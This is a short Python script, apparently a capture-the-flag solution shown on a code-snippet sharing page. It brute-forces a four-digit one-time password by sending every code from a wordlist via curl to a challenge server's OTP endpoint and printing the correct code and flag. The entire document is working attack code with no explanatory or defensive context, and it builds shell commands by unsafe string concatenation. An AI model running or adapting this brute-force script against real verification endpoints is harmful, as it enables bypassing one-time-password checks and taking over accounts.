import os def split(word): return [char for char in word] f1=open('wordlist.txt','r') invalid_response=os.popen('curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "digit_1=1&digit_2=2&digit_3=3&digit_4=4" --silent').read() numbers=f1.read().splitlines() for i in numbers: temp=split(i) smallpayload="digit_1="+temp[0]+"&digit_2="+temp[1]+"&digit_3="+temp[2]+"&digit_4="+temp[3] payload= 'curl -H "User-Agent: th3pr0xyb0y/1337" "http://ratelimit.noobarmy.org/Enterotp" -H "Content-Type: application/x-www-form-urlencoded" -d "'+smallpayload+'" --silent ' print("Testing OTP",temp[0],temp[1],temp[2],temp[3]) # print(payload) response=os.popen(payload).read() if(response!=invalid_response): print("Correct OTP IS ",temp[0],temp[1],temp[2],temp[3]) print("Flag Is : ",response) exit(0)
Preview:
downloadDownload PNG
downloadDownload JPEG
downloadDownload SVG
Tip: You can change the style, width & colours of the snippet with the inspect tool before clicking Download!
Click to optimize width for Twitter